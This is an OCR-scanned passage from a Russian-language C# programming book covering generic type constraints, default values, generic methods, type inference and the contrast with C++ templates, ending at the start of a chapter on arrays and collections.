Обобщения скольку int и string тоже являются совершенно различными типами. Но что если в качестве аргумента типа мы подставим object? Как упо- миналось в главе 2, в переменнойитапа object допускается размещать почти все, что угодно. Методу, принимающему тип object, можно пере- давать значение типа string, потому можно было бы подумать, что ме- тоду, который принимает тип NamedContainer<object>, можно передать и значение типа NamedContainer<string>. Хотя по умолчанию подобное не сработает, некоторые обобщенные типы (а если быть точным, интер- фейсы и делегаты) могут объявлять, что им требуется такое отношение совместимости. Поддерживающие это механизмы (известные как кова- риантность и контравариантность) тесно связаны с механизмами на- следования системы типов. О том, как они действуют в случае обобщен- ных типов, я расскажу в главе 6, полностью посвященной наследованию и совместимости типов. Количество параметров типа является составной частью идентич- ности обобщенного типа. Это делает возможным введение нескольких типов с одинаковыми именами при условии, что у них будет разное ко- личество параметров типа. Таким образом, можно определить обобщен- ный класс с именем, скажем, Operation<T>, а затем кдассы Operational, Т2>, Operational, Т2, Т3> и т. д. в одном и том же пространстве имен без возникновения какой-либо неоднозначности. При использовании этих типов количество аргументов ясно указывает, который имеется в виду — например, понятно, что Operation<int> подразумевает первый тип, a Operation<string, double> — второй. И по той же причине у вас также может быть необобщенный тип с таким же именем, как у обоб- щенного типа. Так, класс Operation будет представлять собой отдельный класс по отношению к обобщенным типам с тем же именем. Мой пример обобщенного типа NamedContainer<T> не делает ничего с экземплярами своего аргумента типа, Т — он не вызывает никаких ме- тодов и не использует никаких свойств или других членов типа Т. Все, что делает данный класс, так это принимает тип Т в качестве аргумен- та конструктора и сохраняет его для извлечения в дальнейшем. Так же поступают и обобщенные классы библиотеки классов .NET Framework, о которых я говорил ранее, — каждый из тех классов коллекций, что я упомянул, является лишь вариацией на ту же тему сохранения данных для последующего извлечения. Для этого есть причины: обобщенному классу приходится работать с любыми типами, потому он не может де- лать больших допущений в отношении аргументов типа. Однако если вам все же нужно сделать некоторые допущения в отношении аргумен- тов типа, вы можете специфицировать ограничения. 199
Глава 4 Ограничения •C# позволяет указать, что аргумент типа должен удовлетворял некоторым требованиям. Например, допустим, вы хотите располагал возможностью создавать новые экземпляры типа по требованию. В ли стинге 4.4 демонстрируется простой класс, обеспечивающий отложен ное создание экземпляра — он делает его доступным через статически свойство, но не предпринимает попыток создать экземпляр до первого обращения к этому свойству. Листинг 4.4. Создание нового экземпляра параметризованного типа // Приводится только в демонстрационных целях. В реальной программе используйте тип Lazy<T>. public static class Deferred<T> where T : new() { private static T -instance; public static T Instance { get { if (-instance == null) 7 -instance = new T(); I I return instance; 1 } I Создавать такой класс на практике не стоит, поскольку би- блиотека классов предлагает класс Lazy<T>, который делает ту же работу, обеспечивая при этом большую гибкость. Класс Lazy<T> способен корректно функционировать в многопоточ- ном коде, чего не может класс из листинга 4.4. Данный код приводится лишь с целью демонстрации работы ограничений. Не используйте его! Чтобы такой класс мог выполнить свою работу, он должен быть способен создать экземпляр любого типа, предоставленного в качестве 200
Обобщения аргумента для параметра Т. Аксессор get использует ключевое слово new, и, поскольку он не передает аргументы, ясно, что он требует, что- бы тип Т предоставил конструктор без параметров. Однако не все типы могут предоставить такой конструктор. Что же произойдет, если мы по- пытаемся передать в качестве аргумента классу Deferred<T> тип без под- ходящего конструктора? Компилятор отклонит этот тип, поскольку он нарушает ограничение, объявленное данным обобщенным классом для типа Т. Ограничения размещаются непосредственно перед открываю- щей фигурной скобкой класса и начинаются ключевым словом where. Ограничение в листинге 4.4 утверждает, что тип Т должен предоставить конструктор без аргументов. Если бы класс в листинге 4.4 не объявил ограничение, он бы не от- компилировался — мы получили бы сообщение об ошибке в той строке, где предпринимается попытка создать экземпляр типа Т. Обобщённому типу (или методу) разрешается использовать только возможности, кото- рые этот тип (или метод) специфицирует посредством ограничений или которые определены в базовом типе object. (В типе object, например, определен метод ToString, потому этот м^год можно вызывать для лю- бого экземпляра без необходимости специфицировать ограничение.) C# предлагает весьма небогатый выбор ограничений. Например, вы не можете потребовать конструктор, принимающий аргументы. Факти- чески C# поддерживает только четыре вида ограничений на аргумент типа: ограничение до типа, ограничение до ссылочного типа, ограниче- ние до значимого типа и ограничение new (). Пока мы видели только по- следнюю разновидность, поэтому давайте рассмотрим и остальные. Ограничение до типа На аргумент, предоставляемый для параметра типа, можно нало- жить ограничение, требующее совместимость с некоторым типом. Дан- ной особенностью, к примеру, можно воспользоваться — и потребовать, чтобы аргумент типа реализовывал определенный интерфейс. Приме- няемый при этом синтаксис демонстрирует листинг 4.5. Листинг 4.5. Использование ограничения до типа using System; using System.Collections.Generic; public class GenericComparer<T> : IComparer<T> where T : IComparable<T> 201
Глава 4 { public int Compare(T x, T у) ( return x.CompareTo(y); ) Я лишь объясню назначение данного кода, а затем опишу, каким об- разом в нем используется ограничение до типа. Приведенный в примере класс предоставляет мост между двумя подходами к сравнению значе- ний, встречающимися в .NET. Некоторые типы данных предоставляют собственную логику сравнения, однако иногда удобнее, чтобы сравне- ние было отдельной функцией, реализованной в отдельном классе. Эти два подхода представлены интерфейсами IComparable<T> и IComparer<T>, которые являются частью библиотеки классов (они находятся, соответ- ственно, в пространствах имен System и System.Collections.Generics.) Интерфейс IComparer<T> я уже показывал в главе 3 — его реализация может сравнивать два объекта или значения типа Т. Данный интерфейс определяет один метод Compare, который принимает два аргумента и воз- вращает отрицательное число, 0 или положительное число, если первый аргумент, соответственно, меньше, равен или больше второго. Интер- фейс IComparable<T> ведет себя почти так же, но его метод CompareTo принимает только один аргумент, поскольку в данном случае экземпляр сравнивает себя с неким другим экземпляром. Некоторые из классов коллекций библиотеки классов .NET для поддержки таких операций упорядочения, как сортировка, требуют предоставить интерфейс IComparer<T>. Эти классы используют мо- дель, в которой сравнение выполняется отдельным объектом, посколь- ку такой подход имеет два преимущества над моделью интерфейса IComparable<T>. Это позволяет использовать, во-первых, типы данных, которые не реализуют интерфейс lComparable<T>, а во-вторых, различ- ный порядок сортировки. (Допустим, требуется отсортировать строки, используя нечувствительный к регистру порядок. Тип string реализует интерфейс IComparable<string>, но он предоставляет чувствительный к регистру порядок сортировки.) Таким образом, модель интерфейса IComparer<T> является более гибкой. Однако предположим, вы исполь- зуете тип данных, который реализует интерфейс IComparable<T>, и вас вполне устраивает предоставляемый им порядок сортировки. Что вы будете делать, если вам нужналбудет поработать с API-интерфейсом, требующим интерфейс IComparer<T>? 202
Обобщения На самом деле вы, вероятно, просто воспользуетесь предназначенной для этого случая возможностью библиотеки классов .NET Framework, а именно, свойством Comparer<T>. Default. Если тип Т реализует интер- фейс IComparable<T>, это свойство возвратит объект IComparer<T>, ко- торый сделает именно то, что вам нужно. Таким образом, на практике нет смысла писать код из листинга 4.5, поскольку он уже содержится в библиотеке классов .NET Framework. Однако будет поучительно по- смотреть, как бы мы написали собственную версию данного кода, по- скольку это показывает, как используется ограничение до типа. Строка, которая начинается ключевым словом where, указывает, что данный обобщенный класс требует, чтобы аргумент, предоставляемый для параметра типа Т, реализовывал интерфейс IComparable<T>. Без это- го метод Compare не смог бы откомпилироваться — он вызывает метод СошрагеТо для аргумента с типом Т. Данным методом обладают не все объекты, и компилятор C# допускает это только потому, что мы нало- жили ограничение, требующее, чтобы тип Т был реализацией предла- гающего такой метод интерфейса. Ограничения до интерфейса применяются сравййтельно редко. Если метод нуждается в том, чтобы некоторый аргумент реализовывал определенный интерфейс, обычно нет необходимости использовать ограничение; можно просто указать этот интерфейс как тип переда- ваемого аргумента. Однако в листинге 4.5 такое сделать нельзя, в чем можно убедиться, попытавшись выполнить код из листинга 4.6. Код не откомпилируется. Листинг 4.6. Не откомпилируется: не реализован интерфейс public class GenericComparer<T> : IComparer<T> { public int Compare(IComparable<T> x, T y) I return x.CompareTo(y); I } Компилятор пожалуется на то, что мы не реализовали метод Compare интерфейса IComparer<T>. Класс из листинга 4.6 обладает методом Compare, однако у него неверная сигнатура — первый аргумент должен принадлежать к типу Т. Можно также попробовать предоставить метод с корректной сигнатурой, не специфицируя при этом ограничение, как показано в листинге 4.7. 203
Глава 4 Листинг 4.7. Не откомпилируется: отсутствует ограничение public class GenericComparer<T> : IComparer<T> { public int Compare(T x, T y) { return x.CompareTo(y); I } Данный код также не откомпилируется, поскольку компилятор ш сможет найти тот метод CompareTo, который я пытаюсь использовать. Именно ограничение для типа Т, используемое мною в листинге 4.5, по- зволяет компилятору понять, какой метод мне действительно нужен. Кстати, следует отметить, что ограничение до типа не обязательно должно быть ограничением до интерфейса. Можно использовать любой тип. Например, ограничение может требовать, чтобы некоторый аргу- мент всегда был производным от определенного базового класса. Мож- но также задать ограничение одного параметра типа в терминах другого параметра типа. Например от второго аргумента типа. Листинг 4.8. Ограничение, требующее, чтобы один аргумент был производным от второго public class Foo<Tl, Т2> where тГ': Т2 Ограничения до типа являются довольно конкретными — они требу- ют либо отношение наследования, либо реализацию определенного ин- терфейса. Однако вы можете определять и не столь четкие ограничения; I Ограничение до ссылочного типа Можно наложить ограничение, требующее, чтобы аргумент типа был ссылочным типом. Как демонстрирует листинг 4.9, такое ограниче- ние выглядит почти идентично ограничению до типа. Отличие состоит лишь в том, что вместо имени типа ставится ключевое слово class. Листинг 4.9. Ограничение, требующее ссылочный тип public class Bar<T> where T : class ____ 204
Обобщения Данное ограничение предотвращает использование в качестве ар- !умента типа таких значимых типов, как int, double или структурные типы. Оно также предоставляет коду следующие три особенности, кото- рые были бы недоступны в противном случае. Во-первых, наличие этого ограничения означает, что можно писать код, выполняющий проверку переменных соответствующего типа на равенство значению null. Если бы мы не потребовали, чтобы аргумент типа был ссылочным, то всег- да присутствовала бы вероятность того, что это значимый тип, а значи- мые типы не поддерживают значение null. Вторая особенность состоит в том, что можно использовать оператор as, о котором мы поговорим в главе 6. В действительности это лишь вариация первой особенности — оператор as требует ссылочный тип, поскольку в качестве результата он способен вернуть значение null. При наличии ограничения class в качестве аргумента типа 4 , нельзя использовать тип, допускающий значение.null, такой - -Uy как int? (или Nullable<int>, как его называет среда CLR). Не- смотря на возможность проверки типа int? на равенство зна- чению null и использования его совместно с оператором as, в каждом из этих случаев компилятор генерирует для такого типа совершенно другой код по сравнению со ссылочным ти- пом. Он не может откомпилировать метод, который, исполь- зуя эти возможности, пытается использовать как ссылочные типы, так и типы, допускающие значение null. Третья особенность, которую обеспечивает ограничение, требующее ссылочный тип, состоит в том, что теперь можно применять другие обоб- щенные типы. Часто бывает удобно, чтобы обобщенный код использо- вал один из своих аргументов типа в качестве аргумента для другого обобщенного типа, и если этот второй тип специфицирует ограничение, вам потребуется наложить то же ограничение и на свой параметр типа. Таким образом, если некоторый другой тип специфицирует ограниче- ние до класса, это может потребовать, чтобы вы аналогичным образом ограничили свой аргумент. Конечно, при этом возникает вопрос, зачем, прежде всего, типу, кото- рый вы используете, нужно данное ограничение. Оно может требоваться лишь для того, чтобы сделать возможным выполнение проверки на ра- венство значению null или использование оператора as, однако может существовать и другая причина. Иногда просто необходимо, чтобы ар- 205
Глава 4 гумент типа был ссылочным типом — в некоторых случаях обобщенный метод, хотя и сможет откомпилироваться без ограничения class, все же не будет корректно работать со значимым типом. Чтобы проиллюстри- ровать это, я опишу наиболее часто встречающийся мне сценарий, в ко- тором я нахожу необходимым использовать ограничение этого вида. Я регулярно пишу тесты, создающие экземпляр тестируемого класса и также нуждаются в одном или нескольких фиктивных объектах, ис- пользуемых вместо тех реальных объектов, с которыми нужно взаимо- действовать тестируемому объекту. Использование этих замещающих объектов уменьшает количество кода, выполняемого любым одиночным тестом, и облегчает проверку пове- дения тестируемого объекта. Например, тест может нуждаться в проверке того, что код в нужный момент отсылает на сервер сообщение, однако я не хочу при этом запускать реальный сервер и потому предоставляю объект, который реализует тот же интерфейс, что и передающий сообщение класс, но ничего не отсылает. Эта комбинация тестируемого объекта с фиктив- ным является настолько распространенным шаблоном, что иногда бывает удобно поместить данный код в повторно применяемый базовый класс. Использование в таком случае обобщений будет означать возможность работы класса с любой комбинацией тестируемого типа и фиктивного типа. Листинг 4.10 демонстрирует упрощенную версию вспомогательного класса, который я иногда создаю в подобной ситуации. Листинг 4.10. Ограничение другим ограничением using Microsoft.VisualStudio.TestTools.UnitTesting; using Moq; public class TestBase<TSubject, TFake> where TSubject : new() where TFake : class { public TSubject Subject { get; private set; } public Mock<TFake> Fake { get; private set; } [Testlnitialize] public void Initialize() { Subject = new TSubject(); Fake = new Mock<TFake>(); } } 206
Обобщения Существуют различные способы создания фиктивных объектов для целей тестирования. Можно просто написать новые классы, реализую- щие тот же интерфейс, что и реальные объекты. В состав кое-каких вер- сий среды разработки Visual Studio 2012 входит инструмент под назва- нием Fakes, который будет создавать фиктивные объекты за вас. Такие объекты также могут генерировать различные сторонние библиотеки. Одной из них является библиотека Moq (библиотека с открытым исхо- дным кодом, предоставляемая бесплатно по адресу code.google.com/р/ moq), и именно из нее был взят класс Моск<Т> в листинге 4.10. Данный класс способен сгенерировать фиктивную реализацию любого интер- фейса любого незапечатанного класса. По умолчанию он предоставляет пустые реализации всех членов, позволяя при необходимости сконфи- гурировать более сложное поведение. Вы также можете проверить, ис- пользует ли тестируемый код фиктивный объект так, как ожидалось. Однако какое отношение это имеет к ограничениям? Класс Моск<Т> специфицирует ограничение до ссылочного типа для своего аргумента типа Т. Причиной является то, что данный класс создает динамические реализации типов на этапе выполнения, и данная техника будет работать только для ссылочных типов. Moq генерирует тип на этапе выполнения; если при этом тип Т будет интерфейсом, сгенерированный тип реализу- ет этот интерфейс, если же тип Т будет классом, сгенерированный тип окажется производным от этого класса*. Если тип Т был бы структурой, не представлялось бы возможным сделать что-либо полезное, посколь- ку значимые типы не имеют производных типов. Следовательно, при использовании класса Моск<Т> в листинге 4.10 необходимо убедиться в том, что, какой бы аргумент типа ни передается, это интерфейс или класс (то есть ссылочный тип). Однако я использую в качестве аргумен- та типа один из параметров типа моего класса TFake, поэтому мне неиз- вестно, что будет представлять собой данный тип — это будет зависеть от того, кто станет использовать мой класс. Чтобы мой класс мог успешно откомпилироваться, я должен убе- диться в том, что соблюдены ограничения любого используемого обоб- щенного типа. Я должен гарантировать, что тип Mock<TFake> будет до- пустимым, и единственный доступный способ сделать это состоит в том, чтобы добавить ограничение на свой тип, требующее, чтобы тип TFake был ссылочным. Именно так я и поступаю в листинге 4.10, в третьей * В генерировании такого типа библиотека Moq полагается на возможности би- блиотеки DynamicProxy от Castle Project. Если вам потребуется использовать нечто по- добное в своем коде, вы можете найти этот проект по адресу castleproject.org. 207
Глава 4 строке определения класса. Без этого ограничения компилятор вы- дал бы сообщение об ошибке в тех двух строках, где используется тип Mock<TFake>. В более общих словах, если вам нужно использовать один из соб- ственных параметров типа в качестве аргумента типа для обобщения, которое специфицирует ограничение, следует специфицировать такое же ограничение для собственного параметра типа. Ограничение до значимого типа Совершенно так же, как можно наложить ограничение, требующее, чтобы аргумент типа был ссылочным, можно наложить и ограничение, требующее, чтобы это был значимый тип. Приведенный в листинге 4.11 синтаксис ограничения аналогичен синтаксису ограничения до ссылоч- ного типа лишь с тем отличием, что в данном случае используется клю- чевое слово struct. Листинг 4.11. Ограничение, требующее значимый тип public class Quux<T> where T : struct До этого момента мы видели ключевое слово struct только в кон- тексте пользовательских значимых типов, однако вопреки тому, как оно выглядит, наряду с пользовательскими структурами данное ограниче- ние позволяет использовать и любой встроенный числовой тип, такой как int. Причиной в том, что все эти типы являются производными от одного и того же базового класса, System. ValueType. Данное ограничение накладывает тип Nullable<T> платформы .NET Framework. Как вы, возможно, помните из главы 3, тип Nullable<T> предоставляет обертку для значимых типов, позволяющую переменной как обладать, так и не обладать значением (обычно при этом исполь- зуется специальный синтаксис языка С#, и потому, например, вместо Nullable<int> будет записано int?). Данный тип существует лишь для того, чтобы обеспечить доступность значения null для типов, которые не могли бы содержать это значение в противном случае. Потому ис- пользование его будет иметь х^ысл лишь тогда, когда аргумент типа окажется значимым типом — переменные ссылочного типа можно уста- новить в null и без применения такой обертки. Однако ограничение до 208
Обобщения значимого типа не позволит вам рсцользовать тип Nullable<T> с типами, для которых это будет излишним. Несколько ограничений Если требуется наложить несколько ограничений на один аргумент типа, их можно просто поместить в список, как показано в листинге 4.12. При этом существуют некоторые нюансы, касающиеся порядка элемен- тов в списке: при наличии ограничения до ссылочного или до значимого типа ключевое слово class или struct должно стоять в самом начале. При наличии ограничения new () оно должно стоять последним. Листинг 4.12. Несколько ограничений public class Spong<T> where T : IEnumerable<T>, IDisposable, new() Если тип обладает несколькими параметрами типа, необходимо на- писать выражение where для каждого параметра типа, на который вы хотите наложить ограничение. Фактически мы уже видели это ранее — в листинге 4.10 класс определяет ограничения для обоих своих параме- тров. Нулеподобные значения Ряд возможностей поддерживается всеми типами и потому не тре- бует ограничения. К их числу относится набор методов базового класса object, о чем я расскажу в главе 6. Однако существует и более простая возможность, которая иногда бывает полезной в обобщенном коде. Переменные любого типа могут инициализироваться значением по умолчанию. Как вы видели в предыдущих главах, в ряде случаев вы- полнение инициализации способна взять на себя среда CLR. Напри- мер, все поля создаваемого объекта получают известное значение, даже если мы не напишем инициализаторы полей и не передадим значения в конструктор. Подобным же образом известным значением инициали- зируются все элементы создаваемого массива любого типа. Среда CLR делает это, заполняя соответствующие ячейки памяти нулями, точная интерпретация которых зависит от типа данных. В случае любых встро- енных числовых типов это буквальным образом соответствует числу О, 209
Глава 4 в случае же нечисловых типов будет другое значение: для типа bool - false; для ссылочного типа — null. Иногда оказывается полезно, чтобь обобщенный код обладал возможностью сбросить переменную к исхо дному нулеподобному значению, которое присваивается ей по умолча нию. Однако в большинстве случаев это нельзя сделать, используя ли теральное выражение. Нельзя присвоить значение null переменной,тип которой специфицируется параметром типа, если последний не ограни- чен до ссылочного типа. Кроме того, любой такой переменной нельзя присвоить литерал 0, поскольку не существует способа ограничить ар- гумент типа до числового типа. Вместо этого для любого типа можно запросить нулеподобное зна^ чение, используя ключевое слово default. (В главе 2 мы уже видели это ключевое слово внутри инструкции switch, однако там оно использова лось для совершенно другой цели. C# продолжает свойственную язы- кам семейства С традицию определять для каждого ключевого слова! несколько разных, несвязанных между собой смыслов.) Записав выра4 жение default (НекоторыйТип), где НекоторыйТип является типом или пй раметром такового, вы получите исходное значение по умолчанию для$ этого типа: 0, если это числовой тип, и его эквивалент в случае любого другого типа. Например, выражение default (int) выдает значение 0J default (bool) — false, a default (string) —null. Используя этот способ для параметра обобщенного типа, можно получить значение по умол- чанию для соответствующего аргумента типа, как показано в листин- ге 4.13. Листинг 4.13. Получение (нулеподобного) значения по умолчанию аргумента типа static void PrintDefault<T>() { Console.WriteLine(default(T)); } Внутри обобщенного типа или метода, который определяет пара- метр типа Т, выражение default (Т) выдает нулеподобное значение по умолчанию для типа Т — каким бы ни был этот тип — не требуя наличия ограничения. Таким образом, вы можете взять обобщенный метод из ли- стинга 4.13, и с его помощью проверить, действительно ли значениями по умолчанию для типов int, bool и string являются те, которые я на- звал выше. И раз уж я показал здесь пример обобщенного метода, давай- те рассмотрим их подробнее. 210
Обобщения Обобщенные методы Наряду с обобщенными типами C# поддерживает и обобщенные методы. В данном случае список параметров обобщенного типа разме- щается после имени метода, перед списком обычных параметров мето- да. Листинг 4.14 демонстрирует метод с одним параметром типа. Этот параметр используется как возвращаемый тип метода, а также как тип элементов массива, передаваемого в метод в качестве аргумента. Данный метод возвращает последний элемент массива, а поскольку он обобщенный, его можно использовать для массивов с элементами любого типа. Листинг 4.14. Обобщенный метод public static Т GetLast<T>(Т[] items) return items[items.Length - 1]; I Обобщенные методы можно определять как в обобщенных, так и в необобщенных типах. Если обобщенный метод являет- Д?*' ся членом обобщенного типа, то наряду с параметрами типа, специфичными для метода, в области видимости внутри ме- тода будут находиться и все параметры типа из вмещающего типа. Как и в случае обобщенного типа, для того чтобы воспользоваться обобщенным методом, необходимо указать его имя и аргументы типа, как показано в листинге 4.15. Листинг 4.15. Вызов обобщенного метода int[] values = { 1, 2, 3 }; int last = GetLast<int> (values) ; Обобщенные методы действуют аналогично обобщенным типам, с тем отличием, что параметры типа находятся в области видимости только внутри объявления метода и его тела. Как и в случае обобщен- ных типов, можно специфицировать ограничения, которые, как показы- вает листинг 4.16, размещаются после списка параметров метода, перед его телом. 211
Глава 4 Листинг 4.16. Обобщенный метод с ограничением public static Т MakeFake<T>() where Т : class { return new Mock<T>().Object; I Все же в одном обобщенные методы довольно сильно отличаются от обобщенных типов: они не всегда требуют специфицировать аргументы типа. Выведение типов Компилятор C# часто способен логически вывести аргументы типа обобщенного метода. Например, я могу модифицировать код в листин- ге 4.15, удалив из вызова метода список аргументов типа, как показано в листинге 4.17, и это никак не изменит смысл кода. Листинг 4.17. Выведение аргумента типа обобщенного метода int[] values = { 1, 2, 3 }; int last = GetLast(values); Когда компилятор получает такой обычного вида вызов метода и не находит при этом^необобщенных методов с аналогичным именем, он начинает поиск подходящих обобщенных методов. Если метод из ли- стинга 4.14 будет в области видимости, то он окажется кандидатом на выполнение, и компилятор попытается логически вывести аргументы типа. Это довольно простой случай. Метод ожидает массив некоторого типа Т, и мы передали ему массив типа int, так что не требуется особых усилий, чтобы понять, что данный вызов можно расценивать как вызов GetLast<int>. В более запутанных случаях ситуация усложняется. Алгоритму вы- ведения типов в спецификации C# отводится целых шесть страниц, однако за этим стоит лишь одна цель: предоставить вам возможность опускать аргументы типа в том случае, когда они избыточны. Также следует отметить, что выведение типов всегда осуществляется на этапе компиляции, поэтому оно основывается на статических типах аргумен- тов метода. ~ 212
Обобщения Как устроены обобщения Если вы знакомы с шаблонами C++, то, вероятно, уже заметили, что обобщения C# по сравнению с ними представляют собой нечто совер- шенно иное. На первый взгляд, у первых и вторых есть общие черты, и их можно использовать сходным образом — например, для реализации классов коллекций. Однако некоторые из ориентированных на шаблоны приемов про- сто не будут работать в С#, как, например, код, представленный в ли- стинге 4.18. Листинг 4.18. Техника использования шаблонов, которая не будет работать с обобщениями C# public static Т Add<T>(T х, Т у) I return х + у; // Не откомпилируется } Подобные вещи можно делать в C++, но не в С#; и даже введя огра- ничение, вы не решите полностью эту проблему. Вы могли бы добавить ограничение до типа, требующее, чтобы тип Т был производным от не- которого типа, определяющего пользовательский оператор +. Хотя это позволило бы данному коду откомпилироваться, его возможности ока- зались бы ограниченными — он работал бы только с типами, произво- дными от указанного базового типа. В C++ вы можете написать шаблон, который будет складывать два объекта любого типа, поддерживающего сложение, как встроенного, так и пользовательского. Более того, ша- блоны в C++ не нуждаются в ограничениях; компилятор способен сам разобраться, может ли тот или иной тип выступить в качестве аргумента шаблона. Данная проблема не ограничивается одними лишь арифметически- ми операциями. Суть ее заключается в том, что, поскольку обобщенный код о том, какие операции доступны для параметров типа, узнает из огра- ничений, он может использовать только возможности, представленные в виде членов интерфейсов или разделяемых базовых классов. (Если бы арифметические операции в .NET основывались на интерфейсах, можно было бы определить ограничение, требующее реализации соответствую- щих интерфейсов. Однако все операторы являются статическими мето- дами, а интерфейсы могут содержать только экземплярные члены.) 213
Глава 4 Такая ограниченность обобщений языка C# является следствием их внутреннего* устройства, поэтому будет полезно понимать данный ме- ханизм. (Кстати говоря, эта ограниченность не специфична для среды CLR от компании Microsoft. Она является неизбежным результатом того, каким образом обобщения встроены в дизайн общеязыковой ин- фраструктуры CLI.) На этапе компиляции обобщенные методы и типы не знают о том, какие типы будут использоваться в качестве аргументов. Это основопо- лагающее отличие между обобщениями языка C# и шаблонами языка C++ — в последнем компилятор видит каждое инстанцирование ша- блона. Однако в C# инстанцирование обобщенных типов может выпол- няться без какого-либо доступа к соответствующему исходному коду, спустя изрядное время после компиляции. В конце концов, обобщен- ный класс List<T> был создан компанией Microsoft много лет назад, од- нако это не помешает вам написать совершенно новый класс и подста- вить его в качестве аргумента типа. (Впрочем, тут можно возразить, что класс std:: vector стандартной библиотеки C++ существует еще дольше. Однако у компилятора C++ есть доступ к исходному файлу, в котором определен данный класс, чего нельзя сказать о C# и классе List<T>. C# видит тоЛько откомпилированную библиотеку.) Следствием является то, что компилятор C# нуждается в наличии достаточной информации для того, чтобы он смог сгенерировать типобе- зопасный код в той точке, где компилируется обобщенный код. Возьмем листинг 4.18. Данный код не имеет представления, что здесь означает оператор +, поскольку смысл этого оператора будет разным для разных типов. В случае встроенных числовых типов код должен откомпилиро- ваться в специализированные инструкции сложения промежуточного языка IL. Если бы этот код находился в проверяемом контексте (то есть если бы здесь использовалось ключевое слово checked, рассмотренное нами в главе 2), мы уже столкнулись бы с проблемой, поскольку код для сложения целых чисел с проверкой на переполнение использует разные инструкции языка IL для знаковых и беззнаковых чисел. А поскольку это обобщенный метод, мы можем иметь дело не со встроенным число- вым типом, а с некоторым другим типом, определяющим пользователь- ский оператор +; в этом случае компилятору потребуется сгенерировать вызов метода. (Пользовательские операторы в действительности пред- ставляют собой методы.) Может также оказаться, что используемый тип не будет поддерживать сложение; в этом случае компилятор должен выдать сообщение об ошибке. 214
Обобщения Исход окажется разным в зависимости от того, какие типы в дей- ствительности используются. Этане представляло бы проблемы, если 6 типы были известны компилятору, однако код для обобщенных типов и методов ему приходится генерировать, не зная о том, какие типы бу- дут использованы в качестве аргументов. Вы можете предположить, что, вероятно, компания Microsoft пре- доставила поддержку предварительного, неполностью скомпилиро- ванного формата обобщенного кода, — и в некотором смысле так оно и есть. Вводя обобщения, компания Microsoft внесла изменения в си- стему типов, формат файлов и инструкции языка IL, чтобы позволить обобщенному коду использовать метки-заполнители, представляющие параметры типа, которые должны заполняться при доведении процесса построения типа до конца. Так почему бы не расширить этот механизм для обращения с операторами? Почему бы не позволить компилятору генерировать сообщения об ошибке в той точке, где предпринимается попытка использовать обобщенный тип, вместо того, чтобы настаивать на генерировании ошибок на этапе компиляции обобщенного кода? Что ж, оказывается, существует возможность подставлять новые наборы ар- гументов типа на этапе выполнения — для построения обобщенных ти- пов использовать API-интерфейс отражения, как будет показано в гла- ве 13. Таким образом, в точке, где ошибка станет очевидной, не всегда будет доступен компилятор, поскольку не все версии платформы .NET поставляются с копией компилятора С#. И, так или иначе, что должно произойти, если написанный на C# обобщенный класс будет использо- ваться в совершенно другом языке, возможно, не поддерживающем пе- регрузку операторов? Правила какого языка следует применять, чтобы определить, что должен делать оператор +? Должен ли это быть язык, на котором написан обобщенный код, или тот, на котором написан аргу- мент типа? (Что если используется несколько параметров типа, и в ка- честве каждого аргумента передаются типы, написанные на разных языках?) Или, возможно, следует использовать правила того языка, на котором выполняется подстановка аргументов типа в обобщенный тип или метод, — но что тогда можно сказать о случаях, когда один фраг- мент обобщенного кода передает свои аргументы в некоторую другую обобщенную сущность? Даже если бы вы могли решить, какой из этих подходов является лучшим, каждый из них подразумевает, что правила, позволяющие соотнести то или иное место с конкретной строкой кода, будут доступны на этапе выполнения, и данное допущение, опять же, противоречит тому факту, что соответствующие компиляторы не обяза- тельно окажутся на выполняющей код машине. 215
Глава 4 Обобщения .NET решают эту проблему, требуя, чтобы смысл обоб щенного кода был полностью определен на этапе его компиляции та языком, на котором он писался. Если в обобщенном коде используют ся методы или другие члены, они должны разрешаться статически (т есть идентичность этих членов следует точно устанавливать на этап компиляции). Что критично, здесь подразумевается время компиля ции самого обобщенного кода, а не того, который его использует. На личие этих требований объясняет, почему обобщения C# не столь гиб ки, как применяемая в C++ модель подстановки на этапе компиляци клиента. Преимуществом является то, что вы можете откомпилирован обобщения в двоичные библиотеки и после использовать их в любо! .NET-языке с поддержкой обобщений, получая в результате полносты предсказуемое поведение. Резюме Обобщения позволяют нам писать типы и методы с аргументами тага которые можно подставлять на этапе компиляции, получая различны версии типов или методов для работы с определенными типами. Наибе лее важным применением обобщений сразу после их введения было на писание типобезопасных классов коллекций. Платформа .NET не прел лагала обобщений в самом начале, потому классы коллекций, доступны в версии 1.0, использовали универсальный тип object. Это означало не обходимость приведения типа объектов к их реальному типу при ш дом извлечении из коллекции. Также отсюда следовала невозможност эффективной работы в коллекциях со значимыми типами; как мы уви дим в главе 7, для ссылки на значение через тип object необходимо сге нерировать упаковку для хранения этого значения. Обобщения успешн решают перечисленные проблемы. Они позволяют писать такие класс! коллекций, как List<T>, а их можно использовать без приведения типи Более того, поскольку среда CLR способна конструировать обобщенны типы на этапе выполнения, она может сгенерировать код, который буде оптимизирован для содержащегося в коллекции типа. Благодаря этом классы коллекций гораздо эффективнее работают со значимыми типа ми, такими как int, чем это было до введения обобщений. Некоторые и таких типов коллекций мы рассмотрим в следующей главе.
Глава 5 КОЛЛЕКЦИИ Большинству программ приходится иметь дело с множеством фраг- ментов данных. Вашему коду, например, может потребоваться выпол- нить цикл по некоторым операциям для вычисления баланса счета, или вывести последние сообщения в приложении для социальных сетей, или обновить положение персонажей в игре. C# предлагает простую разновидность коллекций, называемую^йс- сивом. Поддержка массивов встроена в систему типов среды CLR, поэто- му они эффективны, однако в некоторых случаях их возможности могут оказаться недостаточными. К счастью, библиотека классов расширяет те базовые службы, что дают массивы, предоставляя ряд более мощных и гибких типов коллекций. Обзор в этой главе я начну с массивов, по- скольку на них основывается большинство других классов коллекций. Массивы Массив — это объект, содержащий некоторое множество элементов определенного типа. Каждый элемент, подобно полям, представляет со- бой ячейку памяти, однако в случае полей каждой такой ячейке при- сваивается свое имя, в то время как элементы массива просто нумеру- ются. Количество элементов остается фиксированным в течение всего времени жизни массива, поэтому размер указывается при его создании. Синтаксис создания массива демонстрирует листинг 5.1. Листинг 5.1. Создание массивов int[] numbers = new int[10]; string!] strings = new string[numbers.Length]; Как и любые другие объекты, экземпляры массива создаются с помо- щью ключевого слова new, за которым следует имя типа, однако вместо круглых скобок с аргументами конструктора, далее следуют квадратные скобки с размером массива. Как демонстрирует данный пример, задаю- щее размер выражение может быть константой, что, впрочем, не явля- 217
